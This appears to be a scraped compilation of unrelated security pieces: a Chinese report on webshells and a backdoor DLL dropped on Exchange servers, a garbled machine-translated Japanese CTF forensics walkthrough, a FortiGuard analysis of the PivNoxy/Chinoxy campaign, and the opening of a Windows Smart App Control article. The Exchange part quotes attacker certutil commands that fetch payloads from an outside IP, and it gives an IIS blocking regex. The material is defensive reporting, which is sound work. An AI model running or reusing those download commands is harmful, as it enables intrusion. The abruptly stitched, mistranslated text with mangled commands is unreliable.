Webshell我們檢測到Webshell被丟棄到Exchange服務器,其中大部分是模糊的。通過用戶代理,我們檢測到攻擊者使用了Antsword,這是一個基於中文的開源跨平台網站管理工具,支持webshell管理。

加图2.png

另一個值得注意的特點是,攻擊者還將文件RedirSuiteServiceProxy.aspx的內容更改為webshell內容。 RedirSuiteServiceProxy.aspx是Exchange服務器中可用的合法文件名。

在另一個客戶的事件響應過程中,GTSC注意到攻擊組織使用了另一個webshell模板。

Filename:errorEE.aspx

SHA256:be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref:https://github.com/antonioCoco/SharPyShell命令執行除了收集系統信息外,攻擊者還通過certutil下載文件並檢查連接,certutil是Windows環境中可用的合法工具。

“cmd”/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttp://206.188.196.77:8080/themes.aspxc:\perflogs\techo[S]cdecho[E]

'cmd'/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttps://httpbin.org/getc:\testecho[S]cdecho[E]需要注意的是,每個命令都以字符串echo[S]cdecho[E]結尾。

此外,攻擊者還將惡意DLL注入內存,在受攻擊的服務器上釋放可疑文件,並通過WMIC執行這些文件。

可疑文件在服務器上,研究人員檢測到exe和dll格式的可疑文件:

3.png

在可疑文件中,根據服務器上執行的命令,研究人員確定all.exe和dump.dll負責在服務器系統上轉儲憑證。之後,攻擊者使用rar.exe壓縮轉儲文件並複製到Exchange服務器的webroot中。不幸的是,在響應過程中,上述文件在受攻擊的系統中不再存在,可能是由於攻擊者刪除了證據。

被釋放到C:\PerfLogs\文件夾中的cmd.exe文件是標準的Windows命令行工具cmd.exe。

惡意軟件分析DLL信息

文件名:Dll.Dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2DLL分析GTSC分析一個特定的樣本(074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82)來描述惡意代碼的行為,其他DLL樣本有類似的任務和行為,只是偵聽器配置不同。

DLL由兩個類組成:Run和m,每個類都調用執行不同任務的方法。具體地說:

Run類創建一個偵聽器,偵聽路徑為https://*:443/ews/web/webconfig/的端口443的連接。

5.png

偵聽後,惡意軟件創建一個調用r的新線程。方法r執行以下操作:

1.檢查接收到的請求正文中是否有數據,如果沒有,則返回結果404。

2.相反,如果請求包含數據,DLL將繼續處理if分支內的流:

檢查收到的請求是否包含“RPDbgEsJF9o8S=”。如果是,調用類m中的方法i來處理收到的請求。從Run.m.i返回的結果將轉換為一個base64字符串。以以下格式返回給客戶端的結果:

6.png

m類方法i可以:

1.使用AES算法對收到的請求進行解密,其中請求的前16個字節是IV值,後16個字節為key值,其餘為數據。

2.解碼後,獲取數組中的第一個元素作為標誌,以處理定義的情況,處理定義的情況如下:

7.png

示例1:調用方法info。該方法主要負責收集系統信息,比如操作系統架構、框架版本、操作系統版本等信息。 GTSC用下圖模擬本示例。請求以以下格式發送:前16字節是IV值,後16字節是key值,後面是一個指定選項的標誌,其餘是數據。

base64 (IV | key | aes(flag|data))

8.png

示例2:調用方法sc,調用sc方法,該方法負責分配內存來實現shellcode。

9.png

示例3:調用兩個方法p和r。方法p處理由“|”字符分隔的數據,保存到數組array3。數組array 3將前兩個元素作為方法r的參數,該方法負責執行命令。

10.png

示例4:調用方法ld,該方法負責以以下這種格式列出目錄和文件信息:

加图3.png

11.png

示例5:調用方法wf,該方法負責寫入文件:

12.png

示例6:調用方法rf,該方法負責讀取文件:

13.png

示例7:創建文件夾;

示例8:刪除文件或文件夾;

示例9:移動文件;

示例10:設置文件時間;

14.png

示例11:加載並執行從請求接收的C#字節碼。

15.png

其他DLL示例具有類似的任務,只是偵聽器配置不同,如下所示:

Victim 1:

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

Victim 2:

http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

GTSC還檢測到DLL被注入到svchost.exe進程的內存中。 DLL將數據發送和接收連接到二進製文件中固定的地址137[.]184[.]67[.]33中。使用RC4加密算法使用C2發送和接收數據,其中密鑰將在運行時生成。

16.png

臨時緩解措施GTSC的直接事件響應程序已經發現了有1個組織成為利用這一0 day漏洞的攻擊活動的受害者。此外,可能還有許多其他組織被利用,但尚未被發現。在等待正式補丁的同時,GTSC提供了一個臨時緩解措施,通過在IIS服務器上的URL Rewrite rule模塊添加一條規則來阻止帶有攻擊指示器的請求,從而緩解攻擊。

在前端自動發現中,選擇選項卡“URL重寫”,選擇“請求阻止”

17.png

將字符串“.*autodiscover\.json.*\@.*Powershell.*”添加到URL路徑:

18.png

條件輸入:選擇{REQUEST_URI}:

19.png

我們建議全世界正在使用Microsoft Exchange Server的所有組織或企業盡快檢查、審查並應用上述臨時補救措施,以避免潛在的攻擊。

檢測方法為了幫助組織檢查他們的Exchange服務器是否已被此漏洞利用,GTSC發布了掃描IIS日誌文件的指南和工具(默認存儲在%SystemDrive%\inetpub\logs\LogFiles文件夾中):

方法1:使用powershell命令:

加图4.png

方法2:使用GTSC開發的工具:基於漏洞簽名,我們構建了一個比使用powershell更短的搜索時間的工具。下載鏈接:https://github.com/ncsgroupvn/NCSE0Scanner。

1。データセキュリティ問題解決競争

1。 DS_0602

在这里插入图片描述

解決策の解決策は、暗号化されたファイルで元のデータを取得し、復号化し、6行目と2番目の列にデータを送信し、添付ファイルをダウンロードして、2つのファイルがあることを確認します。ここでは、「.enc」で終わるファイルの種類を簡単に理解する必要があります。在这里插入图片描述

簡単に言えば、「.enc」で終わるファイルは、通常、暗号化されたファイルです。具体的には、ファイル拡張子".enc"は特定のファイルタイプではなく、ファイルコンテンツが暗号化されていることを示す一般識別子を表します。質問が私たちを要求することは明らかです。次に、ここで右クリックしてメソッドを開き、「メモ帳」を選択して分析を開きます。それを得る;在这里插入图片描述

簡単な分析の後、それが「base64暗号化」であることは明らかであるため、ここにデコードを可能にする質問があります。そのため、オンラインの「base64」デコードを見つける必要があります。繰り返しになりますが、なぜそれがここで「base64エンコード」であることを確認できるのですか?ベース機能。エンコード長:3バイナリデータ(24ビット)ごとに、4つのASCII文字(文字あたり6ビット)にエンコードされます。エンコードされた長さは通常、元のデータの長さの1.33倍、つまり元のデータ長の4/3です。文字セット:Base64エンコーディング次の64文字で構成される文字セット:大文字:A-Z小文字:A-Z番号:0-9 2つのシンボル: +および /いくつかの実装では、 - +は - 、/_と交換することができます(通常はURL-Safe base64エンコードに使用されます)。入力データのバイト数が3の倍数ではない場合、エンコードされた結果は=4の長さを記号にして記号で満たされます。1つの等記号は3つ以上の1で割ったものを示します。オンラインbase64デコード、get;在这里插入图片描述

タイトルに記載されている「6行目と2番目の列データ」は、ここで6行のデコードを直接コピーできます。在这里插入图片描述

この時点で;フラグ{767378199223105126}

2、333.file

在这里插入图片描述

添付ファイルをダウンロードして問題を解決し、「.wav」で終了するオーディオを取得するために減圧します。 「Deepsound」、「Silenteye」、および「Audacity」に投げ込まれます。それは実りがありません。この時点では、「010」を使用して開き、分析して、「フラグ」や「zip」キーワードなどの重要な情報があるかどうかを確認する必要があります。また、「kali」に投げ込み、「binwalk」を使用して分析して、分離できるファイルがあるかどうかを確認することもできます。 「Deepsound」は無益です。在这里插入图片描述

「Silenteye」には効果がありません。在这里插入图片描述

「Audacity」には結果がありません。在这里插入图片描述

それから、私がしばらくできることは何もありません。 「kali」にしか投げませんでした。「binwalk」を使用して分析するだけです。実際に壊れた「ジップ」があることがわかりましたが、「binwalk -e」を使用するだけでは抽出するのに十分ではありません。ここでは、「foremost -i」を使用しようとします(原則はbinwalk -eに似ていますが、抽出方法を変更しました。興味のあるマスターは、2つの違いについて学ぶことができます。ここではこれ以上強調しません)。コマンドを使用します。 binwalk -e 333.wav - run-as=rootは在这里插入图片描述を取得します

「最初の-I」で正常に抽出しました。私たちがそれを開いたとき、私たちはそれが「ビンウォーク」を使用して分析した「zip」であることがわかりませんでしたが、「.wav」で終わる別のオーディオです。ただし、簡単な分析により、このオーディオは以前のオーディオではないことがわかりました。最も簡単な分析方法は、サイズが異なることです。したがって、ここでは、上記のように基本的な共通「.WAV」分析ツールを使用しており、最終的に「Audacity」で重要な情報を見つけました!コマンドを使用します。 foremost -i 333.wav -o/root/desktop/123 -t get 在这里插入图片描述

分離されたファイルを開いて2つのオーディオを取得し、簡単に分析します。在这里插入图片描述

最後に、2番目のオーディオ "00006606.wav"の「Audacity」の「スペクトログラム」が重要な情報で発見されました!在这里插入图片描述

重要な情報を取得します。パス:STEGO0626;また、ここでも明らかです。特定のパスワードでなければなりません。結局のところ、それは「パス」であるため、ここで分析することは何もないことは言うまでもなく、基本的にあなたが見つけることができるすべてのものは試されているが、それらのどれも機能しないからです。しかし、ここで私は突然、「ビンウォーク」を使用して分析すると、内部に壊れた「ジップ」がありましたが、それは正常に分離されていませんでした。 「010」を使用して単純に見つけて、この「zip」が不完全であるかどうかを確認することができます。これは、「最も重要な」または「ビンウォーク」の壊れた使用を直接分離できず、手動で分離する必要があるためです。 「010」を使用して、「zip」(zipの16進数——504b0304)在这里插入图片描述を分析して見つけます

簡単に見ると、重要な情報「フラグ」は実際に私たちが考えているフラグであることがわかりましたが、このzipにはメインヘッドが欠けているようです。これは私たちが探した「504b0304」の始まりです。私たちがそれを知らないかどうかは関係ありません。比較として、通常の「zip」を使用することができます。通常の「zip」16進表現。在这里插入图片描述

通常の「zip」に最初に「504b0304」が実際に含まれていることを見るのは難しくありませんが、ここには存在しませんでした。それでは、それを直接保存して、正常に開くのが難しいかどうかを確認しましょう。 「010」で「新しいヘックスファイルを作成」し、貼り付けの段落全体を選択します。在这里插入图片描述

「zip」のメインコンテンツを選択し、右クリックしてコピーします。在这里插入图片描述

もちろん、ここの頭には「zip」が欠落しているため、後で挿入する必要がある場合に備えて、「zip」があります。

貼り付けて、フォーマットを保存するために「zip」を選択します。あなたがそれを見つけるのを防ぐために、保存場所に注意してください。在这里插入图片描述

最後に、「zip」を開くにはパスワードが必要です。次に、以前に抽出されたパスワードを入力して、「Pass:Stego0626」を開きます。在这里插入图片描述

右クリック「メモ帳」を選択して、分析のために空白のファイルを開くことができます。在这里插入图片描述

それは私たちが必要とする旗ではなかったことがわかったが、それは問題ではなかった。 「010」を選択して開き、分析して取得できます。在这里插入图片描述

この「フラグ」ブランクファイルのヘッダーは、「78 9C 4B CB」から始まることがわかりました。一般的に言えば、16進78 9C 4B CBで始まるファイルは、通常、ZLIB圧縮アルゴリズムを使用して圧縮されたファイルです。そのため、「Zlib」接尾辞を直接追加してから、「binwalk -e」を使用して分離し、最後にフラグを見つけてコマンドを使用できます。 binwalk -e flag.zlib - run-as=rootに正常に分離された在这里插入图片描述

分析のために分離されたファイルを開き、最終的にフラグを正常に取得します。在这里插入图片描述

この時点で;フラグ{81633464866E622D275C309B22CB907B}ここでの分離は唯一の方法ではありません。「cyberchef」を使用して「Zlib」をデコードし、フラグをデコードすることもできます。在这里插入图片描述

3。 PFファイル分析

在这里插入图片描述

問題を解決するための質問がたくさんあります。しかし、重要なポイントを見つけることができます。簡単に言えば、最も使用されているソフトウェア名を見つけて送信しましょう。したがって、ここでは、まず「PF」ファイルが何であるかを簡単に理解する必要があります。

PFファイル(Prefetchファイル)は、Windowsオペレーティングシステムのキャッシュファイルであり、アプリケーションの起動をスピードアップするために使用されます。 Windowsでアプリケーションを実行するたびに、システムはアプリケーションに関連付けられたPFファイルを作成または更新します。このファイルは、ロードされたDLL、ファイルパス、その他の情報など、プログラムを開始するために必要なリソースを記録します。主な機能:ストレージ場所:PFファイルは通常、C: \ Windows \ Prefetchディレクトリに保存され、ファイル名形式はプログラム名Hash Value.pfです。スタートアップのスピードアップ:PFファイルは、プログラムの起動に必要なリソースを記録します。これにより、次にプログラムが開始されると、オペレーティングシステムがこれらのリソースをより迅速にロードするのに役立ちます。フォレンジック分析:デジタルフォレンジックでは、PFファイルを使用してユーザーの動作を分析し、プログラムがいつ、どのように開始されるかを確認し、イベントのタイムラインの再構築を支援できます。クリーニングインパクト:PFファイルのクリーニングにより、アプリケーションが初めてゆっくりと起動する可能性がありますが、システムの全体的なパフォーマンスにはほとんど影響を与えません。概要:PFファイルは、プログラムのスタートアップパフォーマンスを最適化するためにWindows Systemsが使用するキャッシュファイルです。それらは特定のディレクトリに保存され、プログラムの開始時に作成または更新されます。デジタルフォレンジックの分野では、これらのドキュメントはユーザーの動作の分析にも役立ちます。 「PF」ファイルについてすでに学んだので、添付ファイルを直接ダウンロードして開き、パスワードが必要であることがわかりました。悲しいかな、それは最初は非常に奇妙でした。タイトルにパスワードはないと思っていたので、オーガナイザーはパスワードを提供しませんでした。それで、パスワードはオーガナイザーによって忘れられましたか?慎重に観察した後、ダウンロードされた添付ファイルは、いわゆる「ジップ」名であることがわかりました。 「base64」エンコードであるため、直接解読しました。また、パスワードが必要なことも成功しました。在这里插入图片描述

オンラインbase64デコードとデコード。在这里插入图片描述

zipパスワード:iampasswordは最終的に正常に減圧されました。それから私たちはそれを言った。 「プリフェッチ」を分析したい場合、分析にどのツールを使用する必要がありますか?これがマスターの要約です。 PECMD:使用法:PECMDは、Windows Prefetchファイルを解析および分析するために使用されるコマンドラインツールです。デジタルフォレンジック分析に非常に適した実行時間、パス、関連DLLなど、プリフェッチファイルに詳細情報を抽出できます。機能:バッチ処理をサポートし、CSVレポートを生成し、プリフェッチ形式の複数のWindowsバージョンを解析できます。 winprefetchView:使用:winprefetchViewは、プリフェッチファイルを表示および分析するためのシンプルなGUIツールです。プリフェッチディレクトリにファイルをすばやくリストし、プログラムの起動時間、最終実行時間など、各ファイルの詳細情報を表示できます。機能:フレンドリーなインターフェイス、シンプルな操作、プリフェッチファイルコンテンツの迅速な表示に適しています。これらの2つのツールは、プリフェッチファイルを分析する際に最も一般的に使用されており、単純な視聴から詳細なフォレンジック分析まで、さまざまなレベルのニーズに適しています。次に、最初に「PECMD」を使用して分析します。コマンドを使用します。 pecmd.exe -d d: \最新ダウンロード\ pecmd \ pretch -json output.txtコマンドを簡単に分析する。 PECMDツールを使用して、D: \最新ダウンロード\ PECMD \ PECMDディレクトリにあるプリフェッチファイルを解析し、出力結果をoutput.txtファイルにJSON形式のファイルに保存します。それを得る;在这里插入图片描述

最後に、現在のディレクトリで、作成した「出力」ファイルを見つけました。在这里插入图片描述

右クリックして「メモ帳」を選択して分析を開きます。

それを得る;在这里插入图片描述

この問題により、最も使用されているソフトウェアを見つけることができるため、最も使用されているソフトウェアのみを探します。次に、ここで「ランカウント」の英語翻訳は間違いなく実行されるため、「ランカウント」を見つけるには「ctrl+f」のみが必要であり、それをゆっくりと見てください。得る;在这里插入图片描述

しかし、私はそれが最も処刑されている人ではないことを発見しました。その後、38、71などがさらに多くあることがわかりました。また、最大の「82」をゆっくりと検索して確認しました。それを得る;在这里插入图片描述

この時点で; flag {searchfilterhost.exe}拡張「pecmd」を使用して「プリフェッチ」を分析しました。それは解析であり、検索するメモ帳を開きます。少し面倒ではありませんか?なぜ!確かにこれよりも簡単な方法があります。次のことについて説明するツール「winprefetchview」が抽出されてダウンロードされました。次に、ここからツール「winprefetchview」を開きます。在这里插入图片描述次に、「オプション」をクリックし、「[詳細なオプション」を選択し、[プリフェッチ]位置を変更し、最後に[確認]をクリックします。得る;在这里插入图片描述

実行数を簡単な順序で直接並べ替えて、この方法は実際に最初の方法よりもはるかに便利であり、見るのがより直感的で明確であることを知ることができます。

4。失われた情報

在这里插入图片描述

質問バラバラには多くの有用な質問があります。要約しましょう。簡単に言えば、顧客の携帯電話番号を取り出して、小文字MD5暗号化のために提出しましょう。次に、添付ファイルをダウンロードして、2つのファイルを取得します。在这里插入图片描述

「ディスク」ファイルと「.raw」ファイルとは何かの簡単な分析。 「ディスク」ファイルとは何ですか? 「ディスク」ファイルは通常、ストレージデバイスのミラーファイルを指します。これは、ハードディスク、パーティション、またはその他のストレージメディアの正確なコピーです。このファイルには、ファイルシステム、パーティションテーブル、ブートレコード、ディスクに保存されているすべてのファイルとフォルダーなど、ディスク上のすべてのデータが含まれています。目的:バックアップ、クローニングディスク、またはデータリカバリに一般的に使用されます。また、ディスクに保存されているデータを分析および再構築するためにディスクイメージを使用して、法的分析にも使用されます。形式:ディスクファイルは、img、iso、vmdk(仮想ディスクファイル)などのさまざまな形式で存在する場合があります。「.raw」ファイルとは何ですか?RAWファイルは通常、生ディスクイメージを指します。これは、ディスク上のすべての生データを含む非圧縮ミラー形式で、ディスクまたはパーティションバイトバイト全体を複製します。機能:非圧縮:RAWファイルには圧縮または変更されたデータが含まれておらず、最も元のディスク画像形式です。普遍性:シンプルで普遍的な形式により、RAWファイルは、さまざまなツールやオペレーティングシステムで認識および使用できます。目的:デジタルフォレンジック、データ回復、仮想化環境で広く使用されています。RAWファイルの分析は、削除されたファイルの回復、ファイルシステム構造の分析、その他の低レベルのデータ操作を実行するのに役立ちます。概要ディスクファイル:通常、ストレージデバイス全体のコピーであるディスクイメージファイルを指します。RAWファイル:ディスク上の生データを含む非圧縮ディスクイメージ形式であり、フォレンジック分析とデータの回復によく使用されます。繰り返しになりますが、それがどんな文書であるかを知っているので、それらをどのように分析しますか?もちろん、ディスクイメージファイル(「ディスク」ファイルまたは「.raw」ファイル)を分析する場合、以下は一般的に使用されるツールです。ボラティリティ2.6:目的:ボラティリティはメモリフォレンジック分析ツールです。主にメモリダンプ分析に使用されますが、ディスク画像のデータを分析するためにも使用できます。ディスクミラーリングと協力することにより、ボラティリティは、プロセス、ネットワーク接続、レジストリエントリなどのメモリ関連データを抽出および分析できます。機能:強力な機能は、詳細な分析と証拠のフォレンジック作業に適した複数のオペレーティングシステムのメモリ分析をサポートします。 Elcomsoft Forensic Disk Decryptor:目的:Elcomsoft Forensic Disk Decryptorは、暗号化されたディスクイメージファイルを解読するために特別に使用されます。 BitLocker、TrueCrypt、Veracrypt、およびその他の暗号化システムをサポートし、これらのミラーファイルからデータを抽出および分析するのに役立ちます。機能:暗号化されたディスクイメージに遭遇したときに使用するのに特に適した強力な復号化機能。

一般に、ボラティリティ2.6:はメモリフォレンジック分析に使用され、ディスク画像と組み合わせて高度なデータ抽出にも使用できます。 Elcomsoft Forensic Disk Decryptor:特別に使用

最近,南亞的一家電信機構收到一封帶有可疑RTF 附件的簡短電子郵件,這引起了FortiGuard Labs 的注意。這封電子郵件偽裝成來自巴基斯坦政府部門的信息,目的是傳播PivNoxy 惡意軟件。

马云惹不起马云 受影響的平台:Windows

马云惹不起马云受影響方:Windows 用戶

马云惹不起马云影響:控制受害者的設備並收集敏感信息

马云惹不起马云嚴重性級別:中等

攻擊概述攻擊始於一封簡單的電子郵件,其中只附上了一份文件作為附件:

fig1.webp.jpg

攻擊中使用的魚叉式釣魚電子郵件

附件文件為RTF格式。它是使用一種名為Royal Road 的工俱生成的,這是一種網絡釣魚“武器”,被多個亞洲APT 攻擊組織使用。 Royal Road 也稱為8.t RTF 漏洞利用構建器,允許APT 組織創建帶有嵌入式對象的RTF 文件,這些對象可以利用Microsoft Word 中的漏洞來感染目標。 Royal Road 支持的一些已知漏洞包括:

马云惹不起马云CVE-2017-11882(Microsoft Office 內存損壞漏洞);

马云惹不起马云CVE-2018-0802(Microsoft Office 內存損壞漏洞);

马云惹不起马云CVE-2018-0798(Microsoft Office 內存損壞漏洞);

打開電子郵件附件“Please help to CHECK.doc”,會打開一個誘餌Word 文件。同時,它在後台利用CVE-2018-0798。 CVE-2018-0798 是Microsoft 公式編輯器(EQNEDT32) 中的一個遠程代碼執行(RCE) 漏洞。 Microsoft 於2018 年1 月9 日為其發布了修復程序。攻擊者仍在針對此漏洞的事實表明,並非所有組織都部署了關鍵補丁或升級到最新軟件。事實是,舊的漏洞仍然普遍且成功地被利用。

fig2.webp.jpg

攻擊中使用的誘餌Word 文件。請注意,文件中顯示的亂碼可能是我們的測試設備不支持該語言的結果

執行後,這個惡意文件會釋放三個文件:

C:\\ProgramData\Cannon\Cannondriver.exe;

C:\\ProgramData\Cannon\LBTServ.dll;

C:\\ProgramData\Cannon\Microsoft.BT;

儘管文件名是假的,但Cannondriver.exe是一個合法的羅技文件LBTWizGi.exe,全稱是“羅技藍牙嚮導主機進程”。 Cannondriver.exe 甚至由頒發給羅技的證書進行數字簽名的。

fig3.webp.jpg

Cannondriver.exe 的合法版本

另一方面,LBTServ.dll 文件沒有經過數字簽名。這就是有趣的地方。 “Cannondriver.exe”容易受到LBTServ.dll 所利用的DLL 搜索順序劫持攻擊。請注意,此攻擊中使用的“LBTServ.dll”樣本的編譯時間為Sun July 18 02:04:24 2021 GMT。這意味著這個小組在他們需要使用這個變體之前就創造了它。這表明,他們要么在近一年前就準備好攻擊目標,要么已經開始囤積惡意軟件,隨時準備發動攻擊。最近的Chinoxy 樣本一直沒有被發現,就是這個道理。

fig4.webp.jpg

Cannondriver.exe 中的DLL 搜索順序劫持

上圖是在Cannondriver.exe中找到的部分代碼。基本上,它調用名為LGBT_Launch的導出,該導出位於LBTServ.dll 中。

fig5.webp.jpg

LBTServ.dll 內部

在Cannondriver.exe 加載偽造的LBTServ.dll 並調用LGBT_Launch 函數後,惡意函數就加載了另一個被釋放的文件Microsoft.BT ,並繼續對其進行解密。攻擊鏈類似於Chinoxy 後門使用的攻擊鏈,後者也使用Cannondriver.exe 加載惡意LBTServ.dll 以傳遞其有效負載。

然而,目前發送給南亞電信機構的這種變體提供的最終有效負載與其之前的版本略有不同。它不是包含最終有效負載的LBTServ.dll,而是從單獨的文件加載shellcode 並將自身注入到svchost.exe 中。然後它聯繫instructor[.]giize[.]com,這是一個動態DNS,將連接重定向到攻擊者託管有效負載的IP。不幸的是,在調查時沒有遠程文件可用。幸運的是,nao_sec 的一條推文將PoisonIvy 惡意軟件識別為有效負載。

fig6.webp.jpg

nao_sec 於2022 年5 月12 日發布的推文

PoisonIvy 是一種遠程訪問木馬(RAT),早在十多年前就被發現。 RAT 也稱為Pivy,活躍在地下論壇中,允許攻擊者控制受感染的設備並通過其GUI 執行偵察活動。

FortiGuard Labs 之前發布了兩篇博客,詳細介紹了PoisonIvy 的工作原理:

Poison Ivy 新變種的深度分析;

新Poison Ivy/PlugX 變體的深度分析;

這些博客中介紹的PoisonIvy RAT 變體執行橫向移動。因此,PoisonIvy 的一次感染可能會導致信息從受影響組織中的各種設備中提取。

誰是幕後黑手眾所周知PoisonIvy 已被用於針對性攻擊,但要識別針對南亞電信組織的行動背後的攻擊者並非易事。這是由於報告的使用RAT 的攻擊組織的數量及其廣泛的可用性造成的。

我們對攻擊者的好奇導致了另一個lbtserver.dll (SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3),該文件於2022年1月從法國提交給VirusTotal。該文件被SHA2文件cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe釋放。

研究人員的分析表明,該文件的行為與發送給目標機構的電子郵件中的文件類似。它創建一個文件夾(c:\windows\tasks) ,並將配置和PE 文件放入其中。釋放的可執行文件unio.exe 與偽裝成Cannondriver.exe 的合法簽名Logitech 文件相同。 在我們正在調查的攻擊中,union .exe加載了另一個被釋放的文件lbtserver .dll。在本文所述的樣本中,LBTServ.dll 包含完整的後門有效負載,而不是加載一個shellcode來下載它。這個LBTServ.dll 文件還利用了DLL搜索順序劫持,有8 個虛假導出,還有一個名為LGBT_Launch 的惡意導出。這使研究人員相信,這兩種攻擊最有可能來自攻擊組織,但根據向VirusTotal提交文件的日期,這兩種攻擊可能發生在2022年1月。

更有趣的是,719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3的編譯時間是“2016-07-09 12:49:34 UTC”,而其滴管(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe)的編譯時間大約是29秒後,時間是2016-07-09 13:18:11 UTC。這些數據表明,該攻擊組織至少自2016年年中以來一直很活躍。

PivNoxy 和Chinoxy的漸變史現在,讓我們將看看這個攻擊組織使用的技術的漸變史。具體來說,我們將重點介紹他們使用的一個文件,即羅技藍牙嚮導主機進程。這個合法簽名的文件包含一個DLL 搜索順序劫持漏洞。 APT 組織通過創建自己的惡意“LBTServ.dll”文件來利用此漏洞,以便在執行真正的羅技進程時加載。隨著時間的推移,這個惡意DLL已經演變成使用不同的技術。攻擊鏈通常以包含附件的電子郵件開始。附件本身包含一個可執行文件,執行時會釋放惡意DLL、合法的羅技可執行文件以及惡意軟件使用的任何相關文件。

下面是攻擊組織使用上述技術來傳遞Chinoxy、PivNoxy 和最近的Chinoxy 變體的dropper 惡意軟件的時間線。

fig7.webp.jpg

基於文件編譯時間的dropper 惡意軟件示例

從時間軸上可以看到,在2021年第三季度,攻擊者將他們的武器庫從PivNoxy 切換到了Chinoxy 的新變體,該變體從文件中解密和加載shellcode ,並下載下一個有效負載。 Chinoxy到PivNoxy的轉換發生在2020年第二季度的某個時候。

FortiGuard Labs 發現,從2016 年年中到2018 年底,“lbtserver .dll”一直被稱為Chinoxy的變體。在這種情境中,惡意DLL 會加載一個名為“k1.ini”的外部配置文件。

fig8.webp.jpg

Chinoxy使用的配置文件

這個配置文件通常包含一個base64 字符串,它原來是Chinoxy 使用的C2 服務器。

9.png

從Chinoxy配置文件解碼的Base64值

“備註”字段包含攻擊的大致日期。根據其源數據,這個Chinoxy DLL 樣本(SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3) 編譯於格林威治標準時間2016 年7 月9 日星期六12:49:34。主要的dropper (SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe) 本身是在2016-07-09 13:18:11 GMT 編譯的。存活時間似乎只有幾天。 Chinoxy作為一個後門從被感染的電腦中收集數據。有趣的是,同一個C2 服務器已經使用了兩年多。分析表明,該服務器的絕大多數流量來自印度。

直到該組織決定返回前的2020 年底和2021 年初,情況一直相對平靜。該組織回歸後,首先開始瞄準東南亞的遊戲玩家。 NoxPlayer 是一個Android 模擬器,與許多程序一樣,它會聯繫服務器以檢查更新。然而,APT 組織並沒有通過電子郵件附件傳遞他們的惡意軟件,而是改變了攻擊策略,並以某種方式破壞了NoxPlayer 的更新鏈。向東南亞遊戲玩家發送了一個虛假的更新包。

與Chinoxy 示例類似,此PivNoxy 變體(SHA2:5c2a6b11d876c5bad520ff9e79be44dfbb05ee6a6ff300e8427deab35085bef6)使用一個偽造的更新包來解壓多個文件,包括濫用針對羅技的相同DLL 搜索順序劫持技術的文件。然而,在本示例中,“LBTServ.dll”被用來傳遞比之前的迭代更強大的惡意軟件,PivNoxy 通過惡意DLL 傳遞PoisonIvy RAT。雖然其他供應商報告受感染的計算機是來自東南亞的遊戲玩家,但研究人員的分析表明,更多受感染的遊戲玩家來自墨西哥。

此時,該攻擊組織再次決定隱身。一直到2022 年5 月,該組織偽裝成來自巴基斯坦政府部門,向南亞的一個電信組織的發送魚叉式網絡釣魚電子郵件。而這一次,它試圖傳播一個新的Chinoxy 惡意軟件變種。

上面提到的dropper 惡意軟件(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748bea5e03e76902e7fe) 已向goog1eupdate[.]com 發起了攻擊。根據FortiGuard過去六個月收集的追踪數據,近70%的攻擊來自墨西哥,近22%來自印度。 Chinoxy變體在2016年至2018年期間也使用了該域名。

研究人員還發現了三個類似的樣本連接到frontbeauty[.]dynamic-dns[.]net、beautygirl[.]dynamic-dns[.]net 和784kjsuj[.]dynamic-dns[.]net。在過去的六個月裡,對這三個域的所有訪問都來自印度。由於它們是動態DNS,因此並非所有連接都可以視為與攻擊組織有關。然而,2020 年11 月發布的Bitdefender 報告將域“goog1eupdate[.]com”描述為APT 組織的IOC 的一部分,該組織使用FunnyDream 後門作為其工具集的一部分,主要針對東南亞。訪問另一個C2 地址“mfaupdate[.]com”主要來自墨西哥和印度,而“ru[.]mst[.]dns-cloud[.]net”主要來自以色列和烏克蘭。根據安全研究員Sebastien Larinier 的說法,ru[.]mst[.]dns-cloud[.]net 被吉爾吉斯斯坦的攻擊組織使用。此外,NTT Security 發布的一篇研究報告介紹了另一台C2 服務器“eofficeupdating[.]com”,攻擊者將其用作Smanager 惡意軟件的C2 服務器,該惡意軟件用於主要攻擊越南。

總結針對南亞一家電信機構的攻擊始於一封簡單的電子郵件,該電子郵件最初似乎是標準的惡意垃圾郵件。但是,附加的Word 文件是含有Royal Road 惡意負載,可對公式編輯器漏洞(CVE-2018-0798) 利用。雖然在調查時沒有有效負載,但OSINT 研究向了FortiGuard Labs 之前強調的Poison Ivy RAT。

根據我們的分析,亞洲組織以及可能在墨西哥的一些組織是攻擊組織的目標,我們認為該攻擊組織也參與了2021 年的NightScout 行動。這個使用Chinoxy和PivNoxy的組織至少從2016年年中開始活躍。

本文會詳細分析Windows即將推出的最大安全功能——智能應用控制(Smart App Control,SAC)。 “智能應用控制”功能是什麼,為什麼我認為它是Windows 中最牛的安全功能之一。首先,SAC 會嵌入在操作系統中,啟用後將阻止惡意或不受信任的應用程序。這與AppLocker 非常相似。

